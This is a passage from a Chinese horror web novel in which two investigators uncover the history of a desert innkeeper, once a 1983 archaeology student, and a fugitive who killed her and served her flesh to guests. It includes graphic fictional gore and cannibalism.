楚明铮推门进去的时候,江寻正蜷缩着身体,缓慢的往燕欢身侧蛄蛹爬行。 一边爬一边嘴里仍然在嘀嘀咕咕。 “美人骨血,给我美人骨血……在你的肚子里……” 楚明铮见状不由分说,直接上前将人从燕欢身前拖拽着抓回来了:“冷静点好吗,小伙子。” 江寻在楚明铮手下挣扎半晌无果,从鼻孔里喷出粗重的热气,嘶叫着要往前爬行。 齐栩连忙上前过来,一手揪着李裴山的领子,一手给楚明铮帮忙,合力制服江寻。 一屋子狼藉。 楚明铮顺手把江寻整个塞给了齐栩,自己俯身去查看燕欢的情况。 燕欢还在昏迷当中,整个人平摊在床上,毫无意识。 楚明铮从空中伸出手去探她的鼻息,她仿佛感知到了隔空而来的温度,嘴唇颤抖着动了动,随即胸口猛然又是极其剧烈的朝下一凹,看的楚明铮心惊肉跳。 那绝对是一个活人无法企及的凹陷程度,似乎是空气里有一双无形的大手,要把胸腔盆骨都攥起来按压下去。 “呃……啊!” 一口混合着粘液的肉块从燕欢的唇缝里被挤压出来,她的小腹和胸肺都在咕咚咕咚的作响起伏。 不多时,她的整个口腔就被肉块塞满了,整个嘴巴鼓鼓囊囊的,很快就受内部挤压作用,肉块一点一点往外溢出来。 楚明铮蹙起眉。 这情况看起来……有点麻烦啊—— 作者有话说:很好,flag立失败,我们明天见吧[爆哭][爆哭][爆哭] 第65章 沙漠,干尸(九) “是啊,就是我身上…… 楚明铮迅速将少女扶着坐起来,轻轻拍打着她的后背,让她把腮帮子里鼓囊囊塞着的肉块断断续续的往外吐。 燕欢意识昏沉,半靠在楚明铮怀里,嘴唇松动无力,意识已经对身体失去了控制权。 楚明铮在她后背上每拍一下,她就呛咳着被迫吐出几口血呼刺啦的腥肉。 齐栩给了江寻和李裴山一人一拳,确保两人暂时都丧失行动能力之后,就蹲在楚明铮身侧,仔仔细细的观察燕欢的情状。 “师父。”齐栩忽然开口道:“我觉得这妹子吐的肯定不是美人骨血。” “废话,当然不是美人骨血,这个副本走到现在为止连个美人骨血的毛都没见过,我甚至怀疑这个概念只是个幌子,骗我们把精力投放在寻找美人骨血,从而忽略真正背景故事线索的幌子。”楚明铮扶着少女纤瘦的脊背,有一下没一下的拍打着回道。 “我的意思是,这妹子现在……吐的绝对不是副本里幻化出来的肉。” “她在吐自己的内脏。”齐栩下结论道。 楚明铮默然片刻,似乎是在思索这话的真实性和合理性。 燕欢在她手底下又是一阵肝胆俱裂的干呕,楚明铮凝神观察了一会儿她呕吐物的形状,只见这女孩最开始还只是在吐那些形状模糊的肉块,然而越到后边,吐的肉状物形态就越具体,被食管道挤压变形的内脏碎片,细长而略带卷曲的薄薄肠衣……甚至还有白色的骨骼碎物。 她的食道被上涌的胃液和酸水侵蚀着,身体功能齐齐衰败,很快就眼睛翻白,直挺挺仰头靠回床榻上,彻底失去了意识。 濒死之人的体重是很沉的,楚明铮抱不动她了,只能任由她仰面倒下。 李裴山最开始安静的蜷缩在床脚处,此时仿佛闻到了空气里血腥的气息,忽然亢奋起来,鼻尖一颤一颤的,像只外形凶恶的大狗,不老实的朝前挪动。 齐栩起身大步上前,一脚踹在他前胸,呵斥一声:“安分点!” 李裴山受惯性重力的作用,“咕咚”一声倒地,他的双手仍然完全动不了,顺着齐栩踢来的力道委顿在地,眼睛却明亮的惊人,蠢蠢欲动的想往前爬。 齐栩揪住他的头发,冷笑着问道:“怎么,你也想吃美人骨血?” 李裴山眼睛翻白,嘴里模糊不清的吐出几个音节。 “那是我的……” “胡言乱语。”齐栩耐心道:“美人骨血是几千年前那位西域女士的风干肉尸,从生物学角度和版权角度来讲,那都是人家那位女士的……哎等等,那位女士的死亡时间好像超过五十年,嘶……这可不好办,超过版权期限了咋整?” “那还真不好说尸体到底是不是属于她自己的了。” 楚明铮忍无可忍:“你有点正经的没有?!” “对不起师父。”齐栩火速道歉。 “你别说话。”楚明铮命令道,紧接着伸手一指李裴山:“听他说。” 于是齐栩一手拎住李裴山的领子,防止他扑过去靠近燕欢,一手呈握拳状递到李裴山嘴边,假装在给他递话筒:“好的,李裴山先生,请说话。” 李裴山缓缓张开嘴,口中一丝挂着银线的涎水顺流而下,眼看着就要流到齐栩手上。 齐栩眼疾手快将手一撤,愤怒道:“师父,他好恶心!” “你能不能安静点!” “我安静了他也不说话呀!”齐栩委屈道。 “那你也给我闭嘴。”楚明铮暴躁道。 李裴山那道长条口水终于湿哒哒的滚落到了地面上,然后越往外涌越多,越涌越多,眼看着那口水要在地面上形成一湾水泊,齐栩实在是忍不住了,无比嫌弃的撒开了揪住李裴山的那只手,从旁跳开。 “咦——”齐栩崩溃道:“太恶心了,师父你真的还要我抓着他吗?你答应出去以后赔我精神损失费,我考虑考虑。” 楚明铮伸出一根手指抵在唇畔,紧急示意道:“嘘——” 只听李裴山将半张脸搁在自己口水所形成的水泊里,嘴里喃喃的说:“是宋楚秀把我的手砍断的。” 楚明铮顾不得脏,迅速在他面前蹲身下来,与他平视张口对答。 “我不觉得是宋楚秀,我明明看见了,你的手臂,是你自己不小心拿刀砍掉的。” “就是她。”李裴山半梦半醒的道。 “你为什么这么笃定是她?”楚明铮又问。 “她是……鬼。” “你自己也是鬼。”楚明铮冷冷道:“你不会还没意识到这个事情吧?” “她是被我变成鬼的……”李裴山嘴里念叨着,念叨着,忽然神经兮兮的笑了起来,那张布满络腮胡的脸上浮动着诡异静谧的笑意。 楚明铮扬手给了他一耳光,冷冰冰的命令道:“不准笑。” 这耳光不仅把李裴山的笑容打没了,也成功把齐栩打的一个哆嗦,一时之间他仿佛又回到了甜蜜而安稳的小时候。 楚明铮刚才那一瞬间的神态,跟小时候动手揍他的神态一模一样,巨大的相似感和重合画面使齐栩肾上腺素飙升,没来由的激动了好一会儿,嘴角也随之露出了一点谜语般的微笑。 楚明铮不知道他在笑什么,于是莫名其妙的瞥他一眼,收回目光继续盘问李裴山:“她是被你变成鬼的,也就是说,她是被你杀害的,是这个意思吧?” 李裴山嗓子眼里吱吱哇哇的乱哼唧片刻,楚明铮凝神注视着他,良久点了点头:“好的,我知道了。” 齐栩茫然:“你知道什么了?” “宋楚秀就是被他杀害的,然后宋楚秀变成了鬼,又回过头来砍断了他的一只手臂,反杀了他。”楚明铮叙述道。 “师父是怎么推理出来这些的?”齐栩饶有兴趣的问。 楚明铮起身整理了一下衣服,动手将李裴山从口水滩子里拎出来,再毫无心理负担的丢给齐栩:“我猜的,所以现在还得下去找宋楚秀核实一下。” “把衣服穿好,要带的东西带上,去隔壁把你儿子一抱,我预感我们很快就能从这个副本里出去了。” “不过在出去之前,还有一个重大的危险在前方等着我们。” …… 宋楚秀正坐在卧室里脱衣服。 楚明铮和齐栩拎着李裴山上门的时候,她刚刚脱下最里层的内衣,背对着门口。 卧室里光线昏暗,缱绻而唯美,加上她一袭长发披肩而下,原本这个场景,是很有点烟笼寒水月笼沙那类型的模糊意境的。 然而…… 楚明铮的目光落到宋楚秀光裸的脊背上,眼神登时因为震惊而变直了。 只见那女人的身上,坑坑洼洼的散落着无数凹陷下去的疤痕,没有一寸肌肤是完好的,脊背上泛着灰败的肉色,大块大块的坑洞横亘在身体上,犹如月球表面。 不对,它甚至不能完全用“月球表面”来形容,“月球表面”跟眼前女人的后背相比,都显得过于平展了。 事实上宋楚秀的后背是一个不折不扣的马蜂窝。 密密麻麻的坑洞黑孔坐落其上,就好像有人在她的骨肉表面,拿钻头打了无数口井。 井口黝黑而深刻,有种难以用语言表述的恐怖。 小鬼婴伏在齐栩怀里,冷眼看着眼前这个诡异的画面,悄无声息的攥紧了齐栩的衣襟。 齐栩察觉到小鬼婴的动作,伸手在他背上拍了拍,安抚道:“不怕,有你妈妈在呢。” 楚明铮回他一句:“谁是他妈!” 两人对答间,目光不约而同的都没从宋楚秀身上挪开。 楚明铮看着眼前惊悚的一幕,再结合他们目前所掌握的线索,电光火石间,仿佛反应过来了什么,冥冥之中有一条线将整个故事情节,在他脑海里串了起来。 “被吃掉的老太太……”楚明铮低声道。 齐栩收回跟他开玩笑的神色,严肃的点了点头:“是的,这就是那个……被吃掉的老太太。” 万万没想到,“被吃掉的老太太”,居然是字面意思。 宋楚秀显然不聋,也听到了身后的动静,但是她并没有急着穿衣服的意思,仍然慢吞吞的梳着头发。 等她把最后一缕发丝都梳理顺遂了,才缓慢的放下梳子,转过身来。 齐栩和楚明铮再一次不约而同的移开目光,着意不去看她的躯干。 “二位。”宋楚秀柔柔的开口了。 “来都来了,害羞什么呢?”她轻声吩咐道:“抬起眼睛,看看我这副模样,然后再决定你们要不要继续移开目光。” “我发誓我这副身子不会让二位长针眼的……我保证。” 齐栩叹了口气,转头对楚明铮笑道:“她越是这么说,我越是不敢看了,怎么办?” 楚明铮也低着头,目光落在地面上虚空一点,并不按照宋楚秀所说的去看她。 “不用看。”楚明铮漫不经心的说:“能推测出大概是怎么一回事就行。” 于是两人很默契的都不看宋楚秀,在空中各自找地方给眼睛安家。 宋楚秀袅袅婷婷的款步走来,最终在楚明铮面前站定了脚步,再开口时声音已经从温婉少妇,变得极致沙哑,嗓子里仿佛充斥了无数膈应的沙粒,像个暮霭沉沉的老妇人。 “如果我是这副皮相话,你是不是就敢抬起头看我了?”老气横秋的声音从宋楚秀的喉咙里缓慢的流淌而出。 楚明铮幅度更大的侧过头,仍然没有用正眼看她:“不是。” 宋楚秀老太太眼睛一眯,那抹属于死人的厉鬼色彩骤然翻涌而出,她阴测测的问出声:“那是为什么?” “因为无论你多大年纪,你都是个女性。”楚明铮心平气和,眼睛依旧别开回答道:“不管你是老太太,还是小姑娘……你什么都不穿站我面前,我还看你。” “那不合适。” 齐栩闻言偷偷觑了一眼楚明铮的侧颜,回身小声对眼前已经变成老太太的宋楚秀道:“不好意思啊,我师父他有点骑士病,他一直这样,你别介意,他不看我看,我看。” 楚明铮:“……” 这小兔崽子是脑子进水了吗?! 谁有骑士病? 他才有骑士病,他全家都有骑士病! 齐栩感受到了楚明铮恼火的目光,他感觉十分冤枉。 因为事实上宋楚秀眼下的这具躯体,就算是看一眼,也绝对扯不到下流的层面。 它已经很难被形容成一具“人”的躯体了。 那是一具苍老到极点的身体,皮肤松垮的能掉下一层肉来,通体呈现出一种诡异的暗黄色,黄中泛黑,皱巴巴的纹路层理分明,仿佛勾圈的年轮。 只不过寻常年轮长在树上,宋楚秀的年轮长在皮肤里。 与此同时,那些狰狞可怖的坑洼小孔,并不止她的后背有,她整个胸前,小腹,腰侧,肋骨附近,都密密麻麻的布满了被人为挖出来的凹陷型疮疤。 “楼上那个小姑娘燕欢,她吐出来的其中一部分,就是你身上的肉吧?”齐栩愉快的问道。 宋楚秀睁着一双苍老而浑浊的眼,慈祥的裂开嘴角,看起来很柔和的笑了笑。 “是啊,就是我身上的肉。”—— 作者有话说:建国以后不许成精,宋楚秀不是西域女尸~[狗头叼玫瑰]《 》 65-70 第66章 沙漠,干尸(十) 宋楚秀 楚明铮依旧垂着眼眸,极其缓慢的摇了一下头。 “你看起来可没有几千岁。” 宋楚秀温言提醒:“你前两天还说我看起来没有三十多岁呢。” 齐栩在一旁搭腔:“六七十岁应该是有的,是吧奶奶?” 宋楚秀感慨似的说了句:“是啊。” 末了朝楚明铮伸出手,看着李裴山示意到:“把他交给我吧。” 楚明铮盯着地面上虚空一点,再次摇了摇头:“除非你把衣服穿上。” 宋楚秀笑了。 她注视着楚明铮线条冷淡秀丽的侧脸,神情玩味而饶有兴趣,下一秒她居然真的转过身去,按照他的要求,从床上拿起丝质长衫,往身上一披,穿好,系住扣子。 最后重新站在了楚明铮面前。 这回楚明铮没说什么,反手一推,将李裴山递到了老板娘手上。 李裴山最开始被扣在楚明铮手心里的时候,他是没什么反应的。 然而就在两人转手交接,李裴山被宋楚秀碰到的那一瞬间,这高大魁梧的男人简直难以自抑的抖动起来,从喉咙里惊恐的吱哇出声,不肯被楚明铮递到宋楚秀手上。 楚明铮盯着李裴山,却是对宋楚秀问道:“他为什么害怕你?” 宋楚秀没搭腔,然而就在李裴山的皮肤接触到她手心的一刹那,原本苍白而富有弹性的皮肤瞬间萎缩下去,仿佛一只破了皮被榨干汁水的葡萄,一整具尸体以肉眼完全可见的速度快速缩水,人体里那占比百分之七十多的水分在瞬息之间流失殆尽。 粘稠的液体淅淅沥沥的从李裴山的眼眶,伤口,嘴巴,鼻孔里流出来,就好像人体是一只兜满液体的皮球,有人给这只皮球上扎了个孔,球中流水就迅速滚涌出来,整个皮球蔫吧下去。 李裴山在五秒之内流失了所有水分,变成了一具古铜色的干尸。 他的表情还维持着生前最后一刻,嘴巴大张,极致惊恐时的模样。 人已经变成肉干了,脚下却还流着一整滩颜色不明的浑水,那就是他身体里所储存全部的水。 齐栩站在门槛边上,跟李裴山的人肉干尸大眼瞪小眼,半晌轻轻吐出一个感叹字:“……哇。” “我好奇一下哦,奶奶。”齐栩瞪着圆溜溜的一双大眼睛,指着李裴山道:“我们也要变成这个造型吗?” 宋楚秀笑而不语,松手将那只干尸撇到了地上,然后伸着一双枯瘦的爪子,不紧不慢的朝这边探来。 楚明铮脸色大变,抓着齐栩的后脖颈倏然带着他躲开了身形。 宋楚秀的鬼爪停滞在了半空,十根手指头缓缓蜷缩起来,呈抓挠状定在空中。 至于她为什么突然定格住动作,停止攻击了,原因无他,楚明铮正抱起小鬼婴,面无表情的站在她身前,跟宋楚秀相对而立。 两只鬼身处同一个空间里,一时之间谁也不敢轻举妄动,因为谁也不知道对方实力几何。 “我建议你不要在上前了。”楚明铮将小鬼婴当盾牌似的举在身前,威胁性十足的道:“这只鬼的怨气不比你轻多少,它要是做起法来,你就再也别想在这个沙漠里循环往复的作威作福了。” 齐栩很敏锐的捕捉到了他话语中的重点:“循环往复的作威作福?” “是啊。”楚明铮抱着小鬼婴,毫不松懈的注视着那边的宋楚秀:“这老太太是个阿兹海默症患者,你不会没看出来吧?” 齐栩奇了:“啊?为什么?” “生理年龄最起码也七十岁了,但是心理认知还停留在二三十岁,以为自己是二三十岁的宋楚秀,这不是阿兹海默症是什么?” 楚明铮有小鬼婴护身,说这话的时候完全没避讳着宋楚秀,直截了当的讲完了这番话。 齐栩故作讶异的捂住嘴去看宋楚秀:“哦哦哦哦~原来是这样。” “你正常点。”楚明铮呵斥道。 “副本很好的结合了她的病情,一方面来说,老太太确实是带着怨气死的,需要活人给她陪葬平息怨气,另一方面,副本本身就是一个循环往复重复利用的大型游戏机制,她有阿兹海默症,记不清事情,容易把同一天循环着过很多天,这不就是现成的NPC?” 齐栩懵懵的点了点头,从神情上判断,楚明铮知道他没听懂。 “没事,不重要。”楚明铮冷声道,他抱着小鬼婴,举着那只惨白细瘦的婴儿手,朝前一指:“现在重要的是她。” “说说吧,你是考古队中的哪一位?从沙漠里生还过后,又是经历了什么,才变成现在这样的?” 宋楚秀在听到“考古队”着三个字的时候,她浑浊的瞳孔终于浮现出一丝清明。 这三个字仿佛是个开关,“咔哒”一声动响,就拨动了那些尘封已久的过往。 “考古队……”宋楚秀低声念叨着这三个字。 “我都快不记得了。” “你记得他们的,不然你没理由困在沙漠里这么多年。”楚明铮这时候难得放软了语气,跟唠家常一样的对宋楚秀开口道,生怕惊扰了宋楚秀的回忆。 然而宋楚秀古怪的笑了笑,说道:“我困在沙漠里,并不是因为考古队。” “……我加入考古队是1983年的夏天,那时候我刚刚从师大的历史系毕业,是中国最早的那批大学生之一。” “我是队伍里年纪最小的女生,教授和师哥师姐们都很照顾我,重一点的器材和机械都不让我扛,我们一行人从北京出发,为了西域古文化的课题来到沙漠,开启了为期大半年的考察。” “前期的勘探都很顺利,我们一路跟随当地向导挖掘到了失落已久的西域古迹。” “在那处古迹里,我们发掘出了那具后来举国闻名的西域女尸。” …… “师哥!快来搭把手呀,我俩移不开这个石盖!” 少女宋楚秀穿着件绿色衬衣,搭配深色的工装裤,纤瘦窈窕,长发干练的扎在脑后,模样显得青春活力,又飒又靓丽。 摆在她跟另一个队员眼前的,是一方不大不小的石板砖块,它刚好横亘在古墓中央的井口上,整个覆盖住了井口,他们已经把墓室里目之所及的地方全都搜寻完了,只剩下这口被石板盖住的井。 带队的老教授坚持要想办法撬开石板,看一眼井底埋藏着什么。 “我有直觉。”老教授推了一把眼镜,笃定道:“这个井里一定藏着了不得的东西。” 宋楚秀撸了把袖子,干劲十足的上前,跟着师兄师姐们一起“嗨呀嗨呀”的推,费了九牛二虎之力,才把那块石板砖移动了一点点,连一寸都不到。 宋楚秀累的眼看着就要瘫倒在地,一只大手这时候很及时的从身后扶来,托着她的肩膀,给了宋楚秀一点力量支撑。 少女回过头,看着身后那个斯文俊秀的年轻人,“嗷”的一声哀嚎出声:“贺师兄——你快来帮我,我跟小赵小李真的搬不动了!” 这个被她称之为“贺师兄”的年轻人,无疑是考古队中最为正点的男生,也最为年长,气质温润,平时在队伍里对师弟师妹们照顾颇多。 贺师兄没说旁的话,沉默着将小师妹从井口扶开,自己走到石板前俯下身,双手扣在石板砖的边缘,猛然发力,手臂上青筋暴起,方才还无可撼动的石板居然随着他的力道缓缓朝旁推移,直到完全挪开。 宋楚秀震惊的无以复加。 想不到师兄平日里看着斯斯文文的,动起真格来力气这么大。 贺师兄仅凭一己之力将石板移开,然后恭恭敬敬的朝导师招手,示意他可以过来了。 一众考古队员们都纷纷拍起手掌来,老教授眼里也流露出赞许的神色。 贺师兄哑然失笑,低调的退开下去了。 宋楚秀眼睛亮晶晶的追在他身上,好长时间都无暇顾及井口的研究项目,师兄在哪儿,她的注意力就跟在哪儿打转。 那边的老教授已经靠绳索跟着几个身手敏捷的学生下到了井底,不多时井底传来几人震惊而狂喜的叫喊。 “天啊!这是什么! ” 一行人接二连三的下井去,贺师兄察觉到了宋楚秀的目光,便朝着少女的方向微微一笑。 宋楚秀脸红了,匆忙转身跑到井口边缘,握着绳子跟其他人一道下去了。 井底的场景的确别有洞天。 几千年岁月推移,这口原本就打在沙漠里的井早就干涸了。 宋楚秀循着教授和师兄师姐们惊叹的目光望去,随即也被眼前的景象镇住了。 只见坎坷沟堑的土井壁上,倒挂着一具腐朽千年,早就被晒干水分的女性干尸。 她的手脚都被钉在井壁上,风化的血肉与铁钉融合,看着极其残忍血腥。 老教授几人靠近了细看,发现眼前女尸,连眼睑纹路都清晰可见,身上衣裙上的花纹模糊不清,泛着黯淡的灰黄,但是裙摆上刺绣样式却依稀还能看清。 “奇迹啊!这是历史的奇迹啊!”老教授激动的无以复加,老泪纵横。 “居然能把千年前的尸骨保存的如此完好,这是历史的神迹!” “来,小心一点,我们把这具尸骨带回去。” “如果能带回去做研究,我们得到的成果,会震惊整个考古界的!” 几个人七手八脚,小心翼翼的上前动手,不多时就将西域女尸从井壁上搬了下来,又千呵护万小心的一路将西域女尸抬出井底。 宋楚秀很宝贝的护着女尸的头颅,其他几个师兄弟抬腿的抬腿,抬胳膊的抬胳膊,拼命平衡着打配合,生怕一个不小心把尸体弄碎了。 女尸最终被停放在了墓室的地板上。 不知道是不是宋楚秀的错觉,她总觉得那干瘪到极致的死人面容上,带着一抹静谧的笑意。 老教授不敢再耽搁了,得到了这个重大发现,他一刻都等不及,立马就要带队启程返回。 几人简单将西域女尸用随行的布袋包裹了一下,一路扛着出了墓室,墓室外围就是浩瀚而不见边际的大漠。 指南针在表盘上颤颤巍巍的转动着方向,贺师兄抬眼看路,眉心凝重的蹙了起来。 “情况不妙。”他对教授说。 “有什么不妙的,我们的食物和水带的都够。”老教授不以为意。 贺师兄摇了摇头,抬手给老师朝数十米之外指去—— 众人这才看清所谓“情况不妙”,到底是怎么个不妙法。 巨大的龙卷风裹挟漫天尘沙犹如昏黄色的狂风巨浪侵袭而来!仿佛一堵幕天席地的沙墙,正朝着这边快速推移,完全没有给人躲避逃跑的机会。 众人全部被这突如其来的沙尘暴惊呆在原地了,直到沙墙已经逼到近前,才纷纷如梦初醒。 “躲回墓室里去!”贺师兄大喝一声,顺手抓起一旁宋楚秀白净的手腕,返身就往回撤退。 一行人踉踉跄跄的抢步重新回到地底下,老教授逃跑的时候拼死带上了西域女尸。 沙尘暴从他们头顶肆虐而过,呼呼呼的吹了不知道多久。 他们被困在了地底下。 “最开始,食物和水确实是够吃的。”老年的宋楚秀神情悠远,同对面前的楚明铮和齐栩叙述道。 “可是我们被困的时间太久了,我们的水带的很足,可是食物在第三天的时候,还是消耗干净了,大家都饿到要发疯了。” “于是有个师兄就把主意打到了我们手上唯一的肉物上,他说,我们可以啃两口西域女尸的肉,虽然恶心且膈应,但是总比真没命了强。” 齐栩看起来一脸牙疼:“你们真吃了啊?苍天,那玩意儿如果真要我吃的话,我宁可饿死。” “我当年也是这么想的。”宋楚秀平静道:“可惜有时候人难胜天,真被逼到绝境的时候,那也没有办法。” 楚明铮对此没有发表意见,他不动声色的将小鬼婴抱的更紧了一点,对宋楚秀道:“我猜你们吃了西域女尸之后的具体反应,应该不像你所描述的那样美妙。” 宋楚秀展颜而笑:“你说的对。” 事实和真相总是比故事残酷上许多的,考古队一行人从沙漠里被救援出来之后,不约而同的都出现了严重的生理反应,西域女尸的遗骸中包含了大量几千年前的细菌蛆虫碎渣,还有古代人那些杂七杂八埋藏在干涸骨血里的传染病。 队员们接二连三的病倒,那时候医疗水平不发达,再加上从古代尸体身上带出来的病菌谁也没见过,不出几天,刚被救出来的考古队员们就集体药石难医,在病床上苟延残喘,依次病故。 除了宋楚秀。 宋楚秀活下来了,活下来的同时,她的精神却受到了极大刺激,开始出现记忆混乱,精神失常等现象。 她总是幻想老师和师哥师姐们还活着,她还是考古队项目组最小的师妹,还在正常上课,做研究,每天跟他们一起出入校园…… 医生说,宋楚秀的大脑受损太严重了,虽然不知道出于什么机缘巧合,西域女尸上的病毒并没有要了她的命,但却还是极大损伤了她的大脑神经。 宋楚秀是那个年代里极其少见的女性高材生,可惜后半辈子,只能在漫长的迷惘和神志不清里渡过了。 有一次她在住院部的走廊里见到了一个很熟悉的身影。 那人白衣黑裤,瘦高俊朗,眉目端正而清明,从精神所的楼梯间一闪而过。 宋楚秀惊呆了。 因为那不是别人,正是当年从沙漠出来不久以后就病重去世的贺师兄! 她绝不可能认错,她跟贺师兄一起同窗过数载,又一起工作,一起搞研究……抛开心理那层隐秘的情愫不谈,他俩对彼此也已经熟的不能再熟了。 宋楚秀叫了一声:“师兄!” 紧接着她泪如雨下,拔腿狂奔追了出去,追到空旷处却空无一人。 她在精神所里又哭又笑的发疯,却怎么都找不到师兄的踪影。 最后护士把她绑了回去,那群人一口咬定,师兄只是她因为思念过度而产生的幻觉。 宋楚秀痴痴傻傻的盯着天花板笑。 她不管,她就是看到师兄了,师兄还活着。 从那以后,她每天逢人便讲那个故事。 讲的就是齐栩和楚明铮刚到沙漠里来的时候,宋楚秀给他们讲的那个,所谓一行考古队吃了美人骨血,然后成功改变身体结构,逢凶化吉,沉疴愈合,最后全都长生不老的故事。 可惜故事就只能是故事。 医院里所有人都知道这只是宋楚秀的胡言乱语,故事里的考古队队员们,明明已经死的就剩下她一个了。 不过当年的人们很善良,从不正面揭穿宋楚秀的故事真相,她说什么,大家就听着,只是注视她的目光变得更加怜悯了。 宋楚秀一直坚信着自己的这个故事,尽管后来在精神所的三十载光阴里,她再没见过任何一个故事里活下来的考古队员。 那天下午在楼梯间惊鸿一瞥的师兄侧影,仿佛真的只是她的幻想。 …… 再后来,时代日新月异的发展,宋楚秀她们所在的精神所也因为资金不足给拆了。 宋楚秀的亲哥哥临去世前,不放心这个精神失常的妹妹,于是给她留了一笔钱,让她回老宅慢慢过日子,平时旁系宗族的亲戚们也能回去照看着她一点。 宋楚秀没听。 从精神所出来的那段时间,似乎是她这浑浑噩噩三十年里最清醒的一段日子,她从来没有这么坚定的意识到过自己想干什么,自己想去哪儿,她要回去坚守考古队未尽的理想。 宋楚秀没有跟任何人说,孤身一人拿着钱,坐绿皮转牛车……千里迢迢的返回了当年的那个沙漠。 她也没想到自己居然还记得这个沙漠的名字。 是的,如今距离宋楚秀第一次随行考古队踏足沙漠,已经过去了将近四十年。 宋楚秀已然垂垂老矣。 她在沙漠的边缘,花钱找附近村民帮忙,自己给自己搭了个小房子,又置办了一些生活用品,就这样在沙漠旁安定下来。 每天独自一人看着大漠风烟泼洒,看着长河落日,看着月落西沉,日常靠些手艺赚钱,宋楚秀也没老到彻底走不动路的地步,日子过的也算平静。 但是她那个从年轻起就养成的习惯仍然没有改。 那就是见人就讲那个考古队被困地宫,吃了西域女尸的骨血,最终起死回生的故事。 附近村民听的厌烦,每每她一张口便挥手打断。 “行啦,宋老太太,别讲你那活不活死不死的故事了,一个故事讲八百遍,也不嫌烦……” 这种时候,宋楚秀就会很认真的跟他们辩驳,说不是这样的。 我说的故事是真的! 真的! 我自己亲身经历过的! 村民们看着她脸上密布的皱纹,再结合她讲的吃过美人骨血的少女统统容颜永驻的故事,不觉面面相觑半晌,末了哄堂大笑起来,满屋子欢乐的气氛。 宋楚秀盯着这群人嘲弄的眼睛,缓缓委顿下去,不再说话了。 …… 故事若是只到这一步,似乎也不算太离奇。 只是个不幸入错行,可怜老太太的故事。 可是接下来的走向,则是所有人都没料到的。 不久后,有个猎户模样的中年男人,带着枪走进了宋楚秀老太太的家中,很客气的告诉她,自己要进沙漠去打猎一种奇珍动物,想在老太太的这一院子房间里借住几晚。 宋楚秀答应了。 她正高兴,有人愿意来她家,她已经很久没有给新的人讲自己这个故事了。 她每天晚上都去给李裴山送晚饭,吃饭途中,就一遍一遍不厌其烦的给他叙述,那支考古队吃了美人骨血,最终起死回生,得到一切治愈功效的事情。 李裴山听的很感兴趣。 老太太一遍遍的讲,他也就一遍遍的听。 听着听着,还好奇的问几句相关的问题。 “真有这么神奇?” “有啊!不然那些队员,是怎么活到几百岁的?”宋楚秀信誓旦旦道。 “那我要是想把肉割下来,带回去救我妈,给我妈把绝症消掉,您说来得及吗?”李裴山紧张道。 “当然,只要找到美人骨血,一切都来得及。” “我该怎么找到美人骨血?”李裴山兴奋道。 宋楚秀凭着记忆里的画面,给他回忆道:“从客栈出发,朝南边走,一直走十来公里,再朝北边转,那里有个地下墓室,墓室附近的标志物是几颗仙人掌……” 李裴山信了她的话,揣着枪兴冲冲的出发了。 宋楚秀坐在阳台上看着他的背影,发出一声欣慰的慨叹:“要是真有人能找到西域地宫,考古队也算后继有人了。” 几天过去了,李裴山还没回来。 宋楚秀越等越失望,最后已经放弃等待了,她觉得李裴山可能难以忍受沙漠跋涉之苦,已经离开了。 直到一天夜里,有人揣着枪,一脚踹开了院子的房门,大步走到卧室里,将熟睡的宋楚秀抓了出来。 宋楚秀睡的迷糊,还没弄明白发生了什么事。 就听头顶一声震天的枪响!险些将她的耳膜撕碎了。 她下意识尖叫一声,下一秒就被李裴山恶狠狠的揪着砸到地上,那张狰狞的面孔猛然逼近过来,仿佛嗜血的修罗,可怖至极。 “你敢骗我……你找死。” 老太太尖声大叫道:“我没有!我没有!那个地宫里真的有西域女尸!西域女尸吃了以后真的可以死而复生!” “放屁!老子辛辛苦苦找到地宫,又被里边的机关摆了几道,浑身是伤,没食没水差点死在那儿!进去了以后毛都没有!” “你差点害死老子!” “妈的,你个不要脸的老东西,我这就送你上西天——” “不是!不是!”宋楚秀拼命求饶,哭的上气不接下气:“真的有,我当年去的时候有……我没骗你……” 李裴山指着她问:“你什么时候去的?” “四,四十多年前……” “那你跟老子说个锤!”李裴山脸都气歪了,他是真的被这老太太的鬼话骗的死在沙漠里,差一点就活生生渴死饿死,被地宫里的机关和迷雾给弄死了! 不杀这老太太,难消他心头之恨。 李裴山一脚踹开宋楚秀,抓起火枪,“砰!”的一声,将宋楚秀射杀当场。 宋楚秀大张着眼睛,后脑勺被子弹打的稀烂,身体下汩汩流涌出猩红的血水来。 死不瞑目。 李裴山原本就是亡命之徒,当年的A级通缉犯,手上人命无数。 但是这样的一个人,居然意外的很孝顺。 他虽然常年在外逃亡,有家不能回,但是心里一直记挂着病重的母亲,时不时给母亲想办法弄点钱回去。 他盯着宋楚秀倒在地上的尸体,没来由的想起了自己的母亲,要是他能在床前尽孝就好了,母亲应该跟宋楚秀差不多大。 李裴山忽然有点后悔。 他难得动了一点恻隐之心,找了个破凉席,在后院里刨了个沙坑,把宋楚秀埋进去了。 杀了宋楚秀之后,李裴山就这么在宋楚秀的家里住下来了。 反正这老太太在村里不受待见,平时也没什么人过来打扰,李裴山干脆就安顿下来。 很是平静的过了一段日子。 直到第二个转折点的到来。 有天早上,一对青年男女过来叩响了他的院门。 李裴山警惕的打开门,以为他们是宋楚秀的儿女什么的,身后还拿着枪,随时准备大开杀戒。 然而青年男女却目光热切的开门见山了。 “你好啊大哥,我们是听说这里能找到传说中的美人骨血,我媳妇儿这些年一直怀不上,想来沙漠里找这种偏方试试运气,你有美人骨血的线索吗?” “我们可以给你身上所有的钱,只要你肯帮我们找到美人骨血。”这个名叫江寻的年轻人诚恳的说道。 钱。 这个字眼扣动了李裴山的心弦。 他最缺的就是钱,只要给他钱,他就什么都愿意做。 他想要江寻的钱。 可问题是,他上哪儿去找美人骨血来跟他们做交换呢? 李裴山忽然想起了后院里埋着的,宋楚秀的尸体。 他阴冷机制的瞳孔缓慢的眨了两下。 然后慢慢的冲这两个年轻人笑了,顺便让开身形。 “进来吧,我这里有美人骨血的干尸肉,我做给你们吃。” 第67章 沙漠,干尸(完) 这个客栈里的异样并…… 江寻和燕欢住进了宋楚秀的小屋。 这对年轻且求子心切的情侣从这天开始就跟李裴山住在了同一屋檐下,三人同吃同住。 李裴山一手包揽了他们的吃饭和住宿,每天做饭给他们吃,大部分时候是一碗拌着肉沫的面片,有时候食物短缺,他就会拿点房梁上晾晒好的肉干下来,撒上调味料,送到餐桌上。 江寻最开始其实有感受到一丝异样。 